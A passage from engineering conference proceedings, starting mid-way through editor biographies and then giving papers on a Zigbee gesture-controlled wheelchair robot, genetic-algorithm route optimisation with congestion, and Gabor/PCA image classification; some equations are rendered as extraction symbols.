teaching and research experience of 28 years. His areas of research include coding
theory, data and network security, remote sensing and GIS-based applications, data
compression, error correction, visual cryptography, steganography, security in
MANET, wireless networks, and unify computing. He has produced 11 Ph.D.
degrees, three submitted (2015) and 8 are ongoing. He has supervised three M.Phil.
and 30 M.Tech. theses. He is life member of Computer Society of India since 1992,
CRSI since 2009, ACM since 2012, IEEE since 2013, and Fellow member of IETE
since 2012, Executive member of CSI Kolkata Chapter. He has delivered invited
lectures and acted as program chair of many international conferences and also
edited nine volumes of proceedings from Springer AISC series, CSI 2012 from
McGraw-Hill, CIMTA 2013 from Procedia Technology, Elsevier. He is reviewer of
various international journals and conferences. He has over 355 articles and five
books published to his credit.
Prof. Vikrant Bhateja is Associate Professor, Department of Electronics and
Communication Engineering, Shri Ramswaroop Memorial Group of Professional
Colleges (SRMGPC), Lucknow and also the Head (Academics and Quality
Control) in the same college. His areas of research include digital image and video
processing, computer vision, medical imaging, machine learning, pattern analysis
and recognition, neural networks, soft computing and bio-inspired computing
techniques. He has more than 90 quality publications in various international
journals and conference proceedings. Professor Vikrant has been on TPC and
chaired various sessions from the above domain in international conferences of
IEEE and Springer. He has been the track chair and served in the
core-technical/editorial teams for international conferences: FICTA 2014, CSI 2014
and INDIA 2015 under Springer-ASIC Series and INDIACom-2015, ICACCI-2015
under IEEE. He is associate editor in International Journal of Convergence
Computing (IJConvC) and also serves on the editorial board of International
Journal of Image Mining (IJIM) under Inderscience Publishers. At present, he is
guest editor for two special issues floated in the International Journal of Rough Sets
and Data Analysis (IJRSDA) and the International Journal of System Dynamics
Applications (IJSDA) under IGI Global publication.
Gesture Controlled Wireless Device
for Disabled
Shantanu, Manish Sharma, Bhupendra Singh, Mohit Agarwal

and Amit Kumar
Abstract Wheelchairs were made for physically challenged persons in order to

move them from one place to another, but these required a lot of mechanical effort
because of which another person was needed for this work. Then came the wired
system which reduced the effort up to an extent but was not very successful. The
proposed module overcomes the previous limitations of the mechanical and wired
systems. According to this technology, one is able to control a remote device easily
from a distant site. This paper is about wireless communication between two
wireless modules, a robot and a hand movement controlled device fitted with tilt
sensor on it. Free radio frequency of 2.4 GHz with 16 channels, Zigbee technology
is used, keeping all wireless IEEE 802.15.4 global open standards true.
Keywords Robot Microcontroller Zigbee Accelerometer Tilt sensor
1 Introduction
A robot [1] called as a mechanical device, artificial agent or a model having a

programmable device which controls its movements and gives ease to humans. So it
is usually a system which by its appearance and movements conveys a sense, which
has a tendency to work on its own. Thus, by its virtue of sense it gives more
reliability in the medical field for patients and senior citizens who are unable to
move on their own and need a wheelchair for this purpose. So for the movement of
these wheelchairs only remote controlled devices are made. Such devices always
require extra cost and complexity of microcontroller programming in order to
develop logics for the operation of the device. So in this paper, for reduction of
complexity and extra cost, a wireless and gesture controlled device for the ease of
physically challenged patients and senior citizens using ATmega8 microcontroller,
Shantanu (&) M. Sharma B. Singh M. Agarwal A. Kumar

Amity School of Engineering and Technology, Amity University, Noida 201303, U.P, India
e-mail: shantanu.21989@gmail.com
© Springer India 2016 1

S.C. Satapathy et al. (eds.), Proceedings of the Second International
Conference on Computer and Communication Technologies, Advances
in Intelligent Systems and Computing 381, DOI 10.1007/978-81-322-2526-3_1
2 Shantanu et al.
Zigbee CC2500 modem [4] and accelerometer sensor is proposed. The receiving
section mounted on the robot receives control signals from the transmitting section
according to the tilt of the sensor platform in order to control the directions of robot,
which fully follows the IEEE 802.15.4 standard protocol.
2 Approach Used
In this approach we used two modules, to make controlled movement of our device
wirelessly. It consists of a transmitter and a receiver in which the transmitter is
mounted on the user hand and the receiver is mounted on the robot body having two
motors and a caster wheel, which gives it good balance and a controlled movement.
This module has a transmitting section with an accelerometer tilt sensor [2] to
measure the tilt angle made by the hand movement or by any body part and transmit
it wirelessly with the help of Zigbee along with the use of microcontroller AVR
ATmega8 [1, 3]. The receiving section mounted on the robot body, or wheelchair,
receives controlling signals from the transmitting section.
2.1 Transmitter Block Diagram
In this section (Fig. 1) the transmitter module has a regulated supply of +5 V

connected to the microcontroller, display (LCD1), switches and Zigbee transmitter
and also the accelerometer mounted on the transmitter module. The above module
is mounted on the hand of the user and as the movement of the user is done which
would be sensed by the accelerometer and the data will be sent forms the transmitter
module to the receiver module with the help of the Zigbee modem [1, 4].
Regulated power supply

(+5V)
Switches Microcontroller
Display (LCD)
Accelerometer
Zigbee Transmitter
Fig. 1 Block diagram of transmitter
Gesture Controlled Wireless Device for Disabled 3
Regulated power supply
Zigbee M1
Microcontroller L293D
LCD 2 M2
Fig. 2 Block diagram of receiver
2.2 Receiver Block Diagram
In this section (Fig. 2) the receiver module has a regulated supply of +5 V, mi-
crocontroller, Zigbee modem, LCD 2 display, two motors and L293D motor IC.
The receiver section is mounted on the robot body which will act according to the
instructions given by the transmitter for moving of robot in stable, forward, reverse,
left and right directions.
3 Working
The working of the wireless controlled device is divided into three parts.
3.1 Robot Body
It is a two-wheel body attached to two DC motors to a tin chassis. Free rotating

wheel with two-dimensional degree of freedom, i.e. it can move in any direction
depending on the direction of force on a plane.
3.2 Transmitter
The system mounted on the user hand acts as transmitter; in this part the Zigbee
modem (CC2500) works as a trans-receiver, which senses the tilt values of the
accelerometer sensor and then sends the instructions to the receiver section. The tilt
values are taken by the movement of the hand of the user in stable, forward, reverse,
left and right directions respectively. When the hand is tilted in the stable forward,
reverse, left and right direction then it gives a value of X and Y coordinates due to
4 Shantanu et al.
Fig. 3 Developed system

(transmitter (mounted on
hand) and receiver (robot))
accelerometer sensor and stores it to the microcontroller as characters. The process

can be seen on the LCD screen attached on the transmitter module.
3.3 Receiver
In the receiver part is a Zigbee modem (CC2500), which also acts as a

trans-receiver on the robot body. Here the modem gets the values stored in the
microcontroller of the transmitter section and compares these characters with the
initially stored values of the X and Y coordinates in the microcontroller of the
receiver section. Thus, this makes the motors of the robot with the help of motor
ICs, to move in the stable, forward, reverse, left and right directions in a quick
response of the time (Fig. 3).
4 Experimental Results
We have found that our proposed system is fast, accurate and secure. Figure 4
shows the comparison of the existing system with the proposed wireless system.
Hence the experimental result shows that the proposed system is fully functional
and can be used easily by patients and physically challenged people.
S. No Previous System New System

1 Wired working systems Wireless system
2 More efforts Very less efforts
3 Very slow process Very fast process
Fig. 4 Comparative study
Gesture Controlled Wireless Device for Disabled 5
5 Conclusion
Wireless system for controlling of a remote object or system which will move in
forward, reverse, right and left directions by the movement of the patient’s hand
(user) is successfully made. The system is developed for people suffering from
spinal cord problems (L2, L3, L4, etc.) and different kinds of physical disabilities.
Wireless communication feature of Zigbee protocol (IEEE 802.15.4), movement
sensing ability of the accelerometer sensor and programming of the ATmega8
microcontroller make the developed system intelligent. So by developing this kind
of wireless module the use of limited wired systems has been overcome. The range
of the system depends from module to module, it may vary from 30 m to 23 km.
6 Future Works
As the future scope is dependent on the accelerometer sensor, only two coordinates
are utilized here, i.e. X and Y coordinates. So by using the third coordinate, i.e.
Z coordinate, a more accurate system can be designed with improved accuracy and
precision and some other Zigbee module can be used for fast processing and longer
distance reception.
References
1. Horton, M., Suh, J.: A Vision for wireless sensor networks. IEEE Trans. Indus. Electr.
0-7803-8846-1/05 (2005)
2. Jiao, W., Wang, X., Zhao, L.: Monitoring system of car-guardrail accident based on wireless
sensor networks, ITST—(2008) ISBN:978-1-4244-2858-8
3. Sahin, H., Guvnec, L.: Household robotics: autonomous devices for vacuuming and lawn
mowing. IEEE Control Syst. Mag. 27(2), 20–96 (2007)
4. Singh, R., Singh, S.: Wireless traffic control using 2.4 GHZ ZigBee Module. J. Inform. Technol.
Listed Ulrich’s Int. Periodicals Directory, USA, 9(2). Dec 2011, ISSN No.:0974-5513
Implementation of Genetic Algorithm
for Optimization of Network Route
Kamal Kant Sharma and Inderpreet Kaur
Abstract Problem in the real world requires modeling the problem mathematically
and drawing conclusions based on the solutions of the mathematical problem. One
of the alternatives is evolutionary computation, which encompasses three main
components––evolution strategies, genetic algorithms, and evolution programs.
Genetic algorithm takes a possible solution to a particular problem on a simple
chromosome with variable genes and uses the data structure to apply the combi-
nation of operators to these structures in order to protect vital assets and search for
optimum solutions. Shortest path routing algorithms are a well-established problem
and addressed by many researchers in different ways. In the present work, one such
algorithm was used for routing which is based on genetic algorithm.
Keywords Mathematical modeling Genetic algorithm Evolution strategies

Chromosomes Optimized path
1 Introduction
Routing is defined as a finding between two entities with minimum disturbance.

There are mainly two types of available routings, active routing and passive routing.
In the first type of routing, the paths are precomputed based on predetermined
factors and saved [1]. Information between any two selected entities follows the
determined path. In dynamic routings, the paths are rearranged based on factors like
congestion and optimization, in order to get the outcome when required by storing
the data. Depending on the requirement and with utmost satisfaction, routing can be
performed in a centralized or decentralized manner. In centralized, master–slave
K.K. Sharma (&) I. Kaur

Department of Electrical and Electronics Engineering, Chandigarh University, Gharuan, India
e-mail: sharmakamal2002@gmail.com
I. Kaur
e-mail: inder_preet74@yahoo.com

8 K.K. Sharma and I. Kaur
operation is performed like center entity decide path for other entities irrespective of
their limitations, whereas in decentralized, every entity generates its respective
route and independent of other entities. The outcome of routing technique should be
optimum and less time-consuming; in order to achieve the desirable outcome policy
various algorithms are designed for routing which should be multi-objective and
multi-constraint.
1.1 Genetic Algorithm
Genetic algorithm (GA) is a programming technique that uses biological spectrum

for solving the problem. GA selects a group of elements with similar or dissimilar
characteristics over a population in which every element plays an integral part in
deciding the optimum solution from a bench of selected group [2]. Using crossover
and mutation, new offspring are generated, and only those offspring that are the best
to fit stay, while others are discarded. This process of survival of the fittest goes on
until the optimum solution is obtained [3]. The narrower the selection gets, the more
the optimum solution is obtained. The accuracy of solution also depends on the
selection of population, achieved target, and element selected for the process.
Genetic algorithm refers to a model introduced and investigated by [4, 5].
1.2 Optimization
Optimization relates to the optimum solution of a problem. When a model is

proposed, cost and profit value analysis is a selective parameter for
decision-making. Proposed cost should be less and profit should be more, in other
words, for minimum input, maximum output should be achieved; the process of
attaining the selected parameters at minimum rate is optimization. Optimization
uses the theory of ordinary differential equations and methods involved in solving
of iterations [6, 7]. The main objective is to develop objective function based on a
defined set of criteria F = {f1, f2… fn}. Figure 1 sketches a characterization of
different types of optimization methods. In general, optimization deals with two
types of algorithms, namely deterministic and probabilistic algorithm. Deterministic
algorithms are only used where output has a relation with input, whether direct or
indirect [8]. Likewise in a machine, if output is speed and input is voltage, and by
varying the input voltage speed is varying to a certain range, then a relation can be
established and deterministic algorithms can be used. However, if the relation is
complex between input and output and fitness among element cannot be estab-
lished, in particular and it is harder to explain the relation, then the
above-mentioned algorithm is not able to succeed in providing optimization to a
selected problem.
Implementation of Genetic Algorithm for Optimization … 9
Fig. 1 Description of optimization algorithms [6, 7]
1.3 Problem Formulation and Implementation
Congestion problem in a network is as complex as multiple nerves in the human

brain. The severity of congestion in a network affects the network in terms of its
performance, efficiency, and delivery time. If no proper routing technique is fol-
lowed, and congestion problem is not considered as a major roadblock, then the
network may fail and also lead to failure of a whole system. In some papers,
congestion is considered as a roadblock in achieving the optimum output across a
Table 1 Algorithm for (i) Selection of terminal with abscissa and ordinate values with
implementation their respective congestion values
(ii) Mark the start and end terminals
(iii) Starting every terminal with their respective gene and
followed a path, with how many terminals encountered. This
step will engross the element at every terminal and can check
the behavior of the same
(iv) Access the fitness of every element over a selected
population using objective function by the calculation of total
path covered with their respective congestion values
(v) Execute Roulette wheel procedure
(vi) For faster convergence of algorithm, execute crossover for a
selected element with high fitness factor, with probalistic index
of 0.8
(vii) Now as discussed, execute mutation between the range of
0.0001 and 0.0003
(viii) This step is similar to if-then-else command. If
convergence occurs and if selected criterion is fulfilled,
algorithm will stop, otherwise it will again execute fitness
values and so on
(ix) Results with optimum solution with path and their optimum
congestion values
viable network [9]. Considering the effect of congestion and routing principles to be
followed, genetic algorithm is proposed for finding the optimum solution for active
routing and congestion in the present work. The problem does not involve factious
values but takes care of real values of genes for coding. Some assumptions and
certain parameters are kept fixed for solving the problem and the range of a system
is kept fixed, like in the present work; the number of entities are fixed, the terminal
where congestion is expected to be more is given the value as unity (1) and where
the congestion is nil it is given the value of zero. For maximum congested terminal,
high priority value is fixed, whereas terminal termed as free is where congestion is
not present (Table 1).
2 Methodology and Results
Coding is done with variable length of element selected with their respective paths
and hindrance through the path due to congestion values at the respective terminal.
The terminals are kept fixed as discussed above with their respective values of
associated network. Genetic algorithm is applied for more than 50 terminals
approximately near to 56 terminals in total considering crowded or easy paths. The
attributes related to terminals are selected while considering congestion values in a
path. Objective function during coding process is so designed that starting and
ending terminal is selected and the congestion values get summed up together while
considering their fitness value. Objective function marks the fitness value to the
element depending on their journey across various paths involving crowdedness
across them. The starting terminal is taken as S = [0, 5, 0.1], and the ending
terminal is E = [10, 2, 0.1]. The element can take any path between the two
above-mentioned terminals but some paths used by the elements may contain more
time and disturbance in completing their respective journey. The ordinate and
abscissa of terminals mentioned the points from where the element started their path
and where it ends. But for finding optimum values, genetic algorithm is preferred.
Genetic algorithm helps to find the minimum distance covered with least congestion
values by taking the maximum value of objective function (By taking derivative) as
objective function is so designed and is opposite to the total distance covered. For a
network, it is important to take optimum time from the starting to the ending
terminal by an element so that the network can be termed ‘Smart Network’ (Figs. 2,
3 and 4).
E qffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
X
T:D ¼ ðxi xiþ1 Þ2 þ ðyi yiþ1 Þ2 ð1Þ
i¼S
E qffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
X X
E
T:DF ¼ ðxi xiþ1 Þ2 þ ðyi yiþ1 Þ2 þ w: Ci ð2Þ
i¼S i¼S
,
XE qffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi X
E
ObjFun ¼ 1 ðxi xiþ1 Þ2 þðyi yiþ1 Þ2 þ w: Ci ð3Þ
i¼S i¼S
Fig. 2 Possible optimized paths for route management
Fig. 3 Analysis of available 30

paths: total distance, 25
congestion, and TDF Black
20
Indigo
15 Pink
10 Green
Red
5
0
Total Distance Congestion TDF = Distance
+ Congestion
Fig. 4 Analysis of available 0.07

paths: designed entity
0.06
Black
0.05
Indigo
0.04
Pink
0.03
Green
0.02 Red
0.01
0
Objective Function = 1/TDF
In this work, algorithm chooses a path between two terminuses as provided

based on least congestion values. The optimum path found by GA has terminals [2,
7, 0]; [4, 4, 0.2]; [6, 4, 0.1]; [9, 3, 0.2]. As shown above, the selected path is
identified while considering the total distance covered with very less value of
congestion. There can be various permutations and combinations for selection as
lesser distance, less congestion; less congestion, more distance; more distance,
more congestion. In this work, the algorithm is so delivered that congestion value
should be less even with more distance calculated. There are other parameters in the
background to design objective function as well. For finding optimal solution to the
problem using genetic algorithm, convergence of algorithms is important, if con-
vergence does not occur as desired; the solution can be suboptimal or blur which
increases the complexity of the problem with no solution. Whenever the fitness
value remains constant for possible inputs or output reached, the fitness value
declines as occurred in this work, then it is an indication of convergence for genetic
algorithm. Here the optimum solution is given by a dark line considering distance
and congestion values (Figs. 5 and 6).
Fig. 5 Optimized path
Fig. 6 Convergence curve for GA
3 Conclusions
Genetic algorithms for optimization of both distance and congestion factor are
proposed to be used. This approach is different from other approaches in the fact
that congestion in the network is also taken care of for optimization of path in the
network. Congestion plays an important role in deciding the optimal solution. The
strategy of optimizing the path in a network with many nodes having different
congestions on them has been presented in this paper and genetic algorithms as
optimization tool has been used for this purpose.
References
1. Tannenbaum, A.S.: Computer Networks, 4th edon. Prentice-Hall of India

2. Goldberg, D.E.: Genetic Algorithms in Search, Optimization, and Machine Learning.
Addison-Wesley, Reading (1989)
3. Davis, L. (ed.): Handbook of Genetic Algorithms. Van Norstand Reinhold, New York (1996)
4. Holland, J.H.: Adaptation in Natural and Artificial Systems. Univ. Michigan Press, Ann Arbor
(1975)
5. Holland, J.H.: Outline for a logical theory of adaptive systems. J. Assoc. Comput. Mach. 9,
297–314 (1962)
6. Michalewicz, Z.: Genetic Algorithms + Data Structures = Evolution Programs. Springer, Berlin
(1992)
7. Lio, P., Verma, D.: Biologically Inspired Networking. IEEE Network (2010)
8. Kapsalis, V.J., Rayward-Smith, Smith, G.D.: Solving the graphical Steiner tree problem using
genetic algorithms. J. Opl. Res. Soc. 44(4), 397–406 (1993)
9. Yousof, S., et al.: A Parallel Genetic Algorithm for Shortest Path Routing Problem.
International Conference on Future Computer and Communication (2009)
An Investigation of Gabor PCA
and Different Similarity Measure
Techniques for Image Classification
N. Hemavathi, T.R. Anusha, K. Mahantesh

and V.N. Manjunath Aradhya
Abstract A method of attributing an image to a particular category from a large

collection of images is stated as Image Classification. In this paper, we propose
diverse subspace techniques, which concentrate on consistency and orientations of
an image, extracting color, shape, and texture data with orthogonal transformation
into uncorrelated space. Initially, preprocessing is done by transforming image to
HSV color space as it is similar to human color perception property. Later, most
informative score features are obtained using PCA, MPCA, KPCA, and GPCA with
linear and nonlinear projection onto lower dimensional space which are further
classified using diverse similarity measures and neural networks. The performance
analysis is carried out on large multi-class datasets such as Corel-1K, Caltech-101,
and Caltech-256 and the improvised correctness rate is witnessed in comparison
with several benchmarking methods.

Keywords Image retrieval PCA MPCA KPCA GPCA G-vectors Score

features Similarity measures GRNN PNN
N. Hemavathi (&) T.R. Anusha K. Mahantesh

Department of ECE, Sri Jagadguru Balagangadhara Institute of Technology, Bangalore, India
e-mail: hema15sg@gmail.com
T.R. Anusha
e-mail: anushatr21@gmail.com
K. Mahantesh
e-mail: mahantesh.sjbit@gmail.com
V.N. Manjunath Aradhya
Department of MCA, Sri Jayachamarajendra College of Engineering, Mysore, India
e-mail: aradhya.mysore@gmail.com

16 N. Hemavathi et al.
1 Introduction
Image classification has been one of the most interesting and vivid research areas in
computer vision and pattern recognition, where content-based image retrieval is an
effective approach. Inspite of having a systematic approach, the problem of solving
multiclass variability of challenging datasets and obtaining their prominent features
has become difficult. In this paper, we concentrate on feature extraction methods that
include geometric, structural, and space transformation features through which visual
features can be extracted. The idea of color histograms along with histogram inter-
section and color moments can be seen in [1, 2]. Shape describes the contours of
objects as seen in [3]. Wang et al. [4] computed structure elements histogram in
quantized HSV color space creating spatial correlation between color and texture and
derived structural element descriptor for CBIR. Texture features such as energy,
inertia, entropy, and uniformity are extracted using eight connected neighbors in gray
level co-occurrence matrix by [5]. Jagpal et al. [6] proposed a detailed classification
of CBIR system that includes a study of a combination of different techniques to
improve the performance. Mutch et al. [7] proposed a method to solve multi-class
object recognition problems using Gabor filter approach on Caltech-101 and UIUC
datasets. Fei-Fei et al. [8] proposed incremental Bayesian in comparison with BBA
and maximum likelihood techniques. Wang et al. [9] proposed locality constrained
linear coding technique using spatial pyramid matching. Holub et al. [3] proposed on
semi-supervised learning algorithm using statistical information. Similarly [10]
proposed linear pyramid matching based on sparse coding techniques. In recent
years, dictionary learning methods [11], intrinsic topological structures are consid-
ered on manifold methods. Mahantesh et al. [12] developed Coslets to improvise the
object taxonomy. HOG techniques have been proposed for image classification by
[13]. Turk and Pentland were the first to explore the use of PCA in obtaining sig-
nificant features over a feature space [14]. Pankaj and Wilscy [15] proposed a method
for comparing of PCA, LDA, and Gabor features for face recognition. Considering
the advantage of real space explained in [16] and the properties of PCA explained in
[17], we have developed a subspace-based algorithm for improvising the correctness
rate on large image datasets in linear and nonlinear subspaces. The paper is structured
as follows: In Sects. 2 and 3, the proposed methodology and classification has been
discussed respectively. Section 4 describes the experimental results and performance
analysis; finally the discussions and conclusions are drawn at the end.
2 Proposed Methodology
This section describes the study of a statistical procedure in linear and nonlinear
subspaces for image tagging; it includes transformation of image into hue saturation
color space with the designing of real Gabor and Kernel space along with com-
ponent analysis to extract score features. Further, the average correctness rate is
determined by diverse classifiers.
An Investigation of Gabor PCA and Different Similarity … 17
2.1 Principal Component Analysis
As feature extraction plays a prominent role, the study of subspace-based feature

extraction is initiated with principal component analysis. It transforms the available
correlated image data into a fewer number of linearly uncorrelated variables called
score features [14]. The set of images Ii with i = 1 to n (with n varying depending
on dataset used, e.g., Caltech n = 101/256) of size s*s is considered. The mean of all
these images are obtained as in Eq. (1).
X
n
m ¼ 1=n Ii ð1Þ
i¼1
0
The images are mean centered as Ii ¼ Ii m. Further covariance matrix is
obtained as follows:
X
n
0 0
C ¼ 1=n Ii Ii T ð2Þ
i¼1
Thus the eigenvectors ei and corresponding eigenvalues ki are obtained from

covariance matrix. The ek eigenvectors of the largest eigenvalues are considered for
0 0
feature extraction by PCA given as Si ¼ eTk Ii . After projecting the image into the
0
eigenspace we get its score features Si that are considered for classification. It is
found that PCA has limitations with respect to missing class separability and
localization and hence MPCA is employed to overcome this limitation.
2.2 Modular Principal Component Analysis
PCA is applied to the complete image in Sect. 2.1, which provides score features
representing global information of the image. While in Modular PCA [18], we
extract the local information about an image by dividing image into q = 4
sub-images and applying component analysis to each of these sub-images. The set
of sub-images are considered as Iij with i = 1 to n and j = 1 to q. The mean of all
these images is obtained as in Eq. (3).
X
n X
q
m ¼ 1=nq Iij ð3Þ
i¼1 j¼1
0
The sub-images are mean centered as Iij ¼ Iij m. Further covariance matrix is
obtained for each of these sub-images as in Eq. (4):
n X
X q
C ¼ 1=nq Iij0 Iij0T ð4Þ
i¼1 j¼1
0 0
After projecting these sub-images into the eigenspace given as Sij ¼ eTk Iij , we get
0
its score features Sij which are further classified.
2.3 Kernel Principal Component Analysis
Inspite of dividing an image into sub-images and applying MPCA, the analysis
faces difficulty due to larger class variability. This linear subspace problem is
solved using KPCA which supports class separability with intensity variations and
occlusions at lower orders. In kernel PCA, the input images Ii are mapped to higher
dimensional kernel space KðIi Þ to obtain more information about the original
dataset [19]. If two vectors v and w are given in feature space then the kernel
function implicitly computes the dot product between v and w in high-dimensional
space without explicitly transforming v and w to high-dimensional space as given in
Eq. (5).
Kðv; wÞ ¼ ðFðvÞ FðwÞÞ ð5Þ
The kernel PCA consists of two spaces, namely input space I with image data Ii
and a feature space F. Training data is present in the input space which is mapped
nonlinearly into feature space. At this point, PCA is performed on nonlinearly
mapped data creating kernel PCA space KðIi Þ. However, covariance matrix is
calculated to obtain eigenvectors ei and eigenvalues ki . Similarly, any query image
in I can then be mapped into F and projected onto the kernel PCA space which is
further classified using similarity measures and neural networks.
2.4 Gabor Principal Component Analysis
G-Vector Filter. Further in the proposed method, features are extracted from an
image by convolving it with Gabor function, producing filter response with dif-
ferent scales and orientations [15] which are obtained as
0 0 0
u 2 þ b2 v 2 2pu
gðu; v; x; h; /; a; bÞ ¼ exp cos þ/ ð6Þ
2a x
0 0
where u ¼ u cos h þ v sin h,v ¼ u sin h þ v cos h, x representing the wavelength
with h defining orientations having a phase offset /. a and b are standard deviation
and spatial aspect ratio of a filter, respectively, supporting determination of
bounding range and rotations. The images are scaled to s*s (50*50) using bilinear
interpolation technique. The filters are obtained for four different wavelengths and
for six various orientations from 0–150°.
X
q
G ¼ 1=q gj I i ð7Þ
j¼1
As in Eq. (7), Gabor features are accounted and averaged for all q = 24 com-
binations to obtain 2500 G-vectors.
GPCA Score Features. As mentioned in [16], use of PCA with Gabor enables
us to obtain score features from effective regions. The 2500 G-vectors Gi obtained
from Gabor space are given as input to PCA to extract score features, which are
obtained by singular decomposition providing geometrical transformations with
two rotational matrices and a scaling matrix. The singular values and singular
vectors are obtained by Gi ¼ xyzT , where x representing the singular values and y
representing singular vectors of G-vector features. After projecting the image into
0 0
the eigenspace we get its score features Si as: Si ¼ Gi zTk . Now we calculate the
distances between test image and each known image using classification techniques.
3 Classification
This section briefly describes the classifiers used in the proposed method calcu-
lating the visual similarities between test image and the database images.
3.1 Similarity Measures
Based on the observations made in [13], we have considered four distance measures
such as Manhattan distance, Euclidean distance, modified squared Euclidean dis-
0
tance, and angle-based distance to acquire better correctness rate. Si are the score
0
features of train database and Sj , with j varying from 1 to l (l depends on intra- and
interclass variability of classes in datasets), are score features of test data. The
distances between feature vectors of test and train images are calculated based on
their statistical expressions.
3.2 Neural Networks
In neural networks, we have considered average of GRNN and PNN to resolve

complex problems and to achieve better classification rate.
General Regression Neural Network. GRNN is a normal distribution probability
density function used to solve general regression-related problems [20]. The score
0
features Si are considered as input. GRNN calculates weight vector Wi as follows:

D2
i
Wi ¼ e 2r2
ð8Þ
0 0 0 0
where, D2i ¼ ðSi Sim ÞT ðSi Sim Þ, having Sim as normal distribution mean and the
Pn 0
0
i¼1 yi Si
yðSi Þ ¼ Pn 0 ð9Þ
i¼1 Si
0 0
output yðSi Þ is weighted average of the target values yi of training cases Sim close to
0
a given input score features Si .
Probabilistic Neural Network. PNN [20] produces two layer networks for
0
given input Si where the hidden node activation is the product of the two vectors
0 0
given as hi ¼ Wi Si , where Wi is the example vector and Si is the input feature vector.
Pl ðhi 1Þ
e r2
Ci ¼ i¼1
ð10Þ
l
The class output activations are then defined as shown in Eq. (10) where l is the
total number of example vectors for this class, hi is the hidden-node activation, and
r is a smoothing factor. The class node with the largest activation determines the
category of an image.
Note: DM: Average of four distance measures by using max-pooling technique
NN: Average of GRNN and PNN using max-pooling technique.
4 Experimental Results and Performance Analysis
In this section, we discuss the results and analysis carried out on Corel-1K,
Caltech-101, and Caltech-256 datasets. Feature vectors are extracted using all
subspace-based algorithms, which includes standard testing procedure with ran-
domly selected 15 and 30 images from each category for training and the rest of the
images are used for testing. Classification between them is performed using simi-
larity measures and neural networks. Figure 1 corresponds to the sample images of
Fig. 1 Few sample images with a high classification rates, b low classification rates
Corel 1K, Caltech-101, and Caltech-256 datasets with the highest and the lowest
recognition rates. The results obtained for various subspace methods on these
datasets in comparison with standard techniques is as shown in Tables 1 and 2.
Corel-1K comprises 1000 images classified into 10 different categories having 100
images per class. It is proved that the proposed method increases the correctness
rate compared to color texture retrieval [21] and is found competitive to structure
element descriptor [4] even though they have considered only 10 images for testing.
Table 1 Performance analysis of Corel-1K dataset

Method 15 training images/cat 30 training images/cat
Thanwari et al. [21] – 53
Wang et al. [4] – 72
PCA+DM 48 60
PCA+NN 52 66
MPCA+DM 51 60
MPCA+NN 53 62
KPCA+DM 53 61
KPCA+NN 54 63
GPCA+DM 56 66
GPCA+NN 57 67
Note: With reference to Table 1, Wang et al. [4] had considered only 10 images
for testing, whereas in the proposed method for 15 and 30 train, we have con-
sidered the remaining 85 and 70 images respectively.
Caltech-101 consists of 101 object categories in which the total number of
images as 9144 with 31–800 images per category, which are mainly subjected to
high intensity variations, occlusions, and affected by corner artifacts [3]. It shows
that laptop, cartoon character, etc., have a better recognition rate whereas ant,
camera, etc., have lower recognition due to improper arrangements and variation.
Evaluation of these models in Table 2 explicitly indicates that use of subspace
methods has an effective impact on visual contents of an image. The proposed
model proves to be an efficient method in comparison with incremental Bayesian
model [8], generative semi-supervised discriminative fisher model [3], and
descriptor technique [13]. Caltech-256 dataset [22] consists of images from 256
object categories having 80–827 images per category and the total number of
images is 30,608. The database has larger class variability than in Caltech-101.
Some of the experiments considered for comparison in Caltech-256 use a set of
images for training and a limited set of images for testing. However, the average
classification rate for Caltech-256 has found highly competitive results compared to
SPM technique [10] and novel Coslets approach [12], inspite of considering all the
remaining large sets of test images. From the analysis table it is noticed that Gabor
supports sparse image representation as they provide better spatial localization and
orientational selectivity along with orthogonal transformation using PCA. Thus,
GPCA outperforms than PCA, MPCA, and KPCA in terms of linearity, localiza-
tion, and selectivity resulting in better average correctness rate on multiclass
datasets.
Table 2 Performance analysis of Caltech-101 and Caltech-256 datasets

Method Caltech-101 Caltech-256
15 train 30 train 15 train 30 train
Fei-Fei et al. [8] 16 20 – –
Holub et al. [3] 37 43 – –
Anusha et al. [13] 39 44 18 29
Griffin et al. [22] – – 28 34
Yang et al. [10] – – 27 34
Mahantesh et al. [12] 37 43 24 30
PCA+DM 24 29 15 19
PCA+NN 29 33 17 20
MPCA+DM 23 30 20 21
MPCA+NN 22 33 22 24
KPCA+DM 38 40 23 26
KPCA+NN 39 42 23 29
GPCA+DM 35 41 22 28
GPCA+NN 40 45 25 28
5 Discussion and Conclusion
As we explored in the literature survey, there are a number of algorithms developed

for image classification. Yet, these techniques are not feasible to provide better
classification on multivariant datasets. PCA seems to provide highly uncorrelated
variables supporting better feature discrimination; MPCA provides better locali-
zation, whereas KPCA helps in class separability even with intensity variations and
occlusions. In GPCA, we extract texture features in lower dimensional space. The
proposed method extracts features from subspace models. In this regard, we have
made an effective analysis of geometrical and photometrical transformations, using
PCA, MPCA, KPCA, and GPCA to generate highly discriminative features.
Distance measures and neural network classifiers proved to be progressive and
efficient techniques and appeared to be the first of its kind in the literature for
subspace methods. The observations conclude that Gabor component analysis using
GRNN and PNN gives better recognition rate. In future, we are planning to explore
Gabor linear discriminant analysis with supervised learning for better image rep-
resentation and classification.
References
1. Swain, M.J., Ballard, D.H.: Indexing via color histograms. In: Proceedings of 3rd International
Conference Computer Vision, pp. 11–32 (1991)
2. Stricker, M., Orengo, M.: Similarity of color images. Storage retrieval image video database.
In: Proceedings SPIE, pp. 381–92 (1995)
3. Holub, A., Welling, M., Perona, P.: Exploiting unlabelled data for hybrid object classification.
In: National Information Processing System Workshop on Inter-Class Transfer (2005)
4. Wang, X., Wang, Z.: A novel method for image retrieval based on structure element’s
descriptor. J. Vis. Commun. Image Represent. 24, 63–74 (2013)
5. Wang, X., Chen, Z., Yun, J.: An effective method for color image retrieval based on texture.
Comput. Stan. Interf. 34, 31–35 (2012)
6. Jagpal, S., Jashanbir, S.K., Reecha, S.: Different approaches of CBIR techniques. Int.
J. Comput. Distrib. Syst. 1(2), 76–78 (2012)
7. Mutch, J., Lowe, D.G.: Multiclass Object Recognition with Sparse, Localized Features, vol. 1,
